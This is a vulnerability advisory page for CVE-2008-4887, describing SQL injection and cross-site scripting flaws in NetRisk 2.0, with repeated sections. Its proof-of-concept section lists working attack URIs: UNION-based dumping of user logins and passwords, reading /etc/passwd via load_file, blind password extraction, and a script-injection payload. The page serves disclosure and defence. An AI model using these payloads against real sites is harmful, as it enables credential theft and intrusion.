NetRisk SQL Injection and Cross Site Scripting Vulnerabilities
BID:32051
Info
NetRisk SQL Injection and Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 32051 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-4887 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 02 2008 12:00AM |
| Updated: | May 07 2015 05:21PM |
| Credit: | StAkeR |
| Vulnerable: |
NetRisk NetRisk 2.0 |
| Not Vulnerable: | |
Discussion
NetRisk SQL Injection and Cross Site Scripting Vulnerabilities
NetRisk is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Versions up to and including NetRisk 2.0 are vulnerable.
NetRisk is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Versions up to and including NetRisk 2.0 are vulnerable.
Exploit / POC
NetRisk SQL Injection and Cross Site Scripting Vulnerabilities
An attacker can exploit these issues via a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/index.php?p=profile&id=1+union+all+select+0,0,concat(login,0x3a,password),0,0,0,0,0,0,0,0,0,0,0,0+from+netrisk_users+where+id=1/*
http://www.example.com/index.php?p=profile&id=1+union+all+select+0,0,load_file(0x2F6574632F706173737764),0,0,0,0,0,0,0,0,0,0,0,0/*
http://www.example.com/index.php?p=game&id=1 and ascii(substring((select password from netrisk_users where id=1),1,1))=[ascii]/*
http://www.example.com/index.php?error=<script>[javascript]</script>
An attacker can exploit these issues via a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/index.php?p=profile&id=1+union+all+select+0,0,concat(login,0x3a,password),0,0,0,0,0,0,0,0,0,0,0,0+from+netrisk_users+where+id=1/*
http://www.example.com/index.php?p=profile&id=1+union+all+select+0,0,load_file(0x2F6574632F706173737764),0,0,0,0,0,0,0,0,0,0,0,0/*
http://www.example.com/index.php?p=game&id=1 and ascii(substring((select password from netrisk_users where id=1),1,1))=[ascii]/*
http://www.example.com/index.php?error=<script>[javascript]</script>
Solution / Fix
NetRisk SQL Injection and Cross Site Scripting Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
NetRisk SQL Injection and Cross Site Scripting Vulnerabilities
References:
References:
- NetRisk Project Page (NetRisk)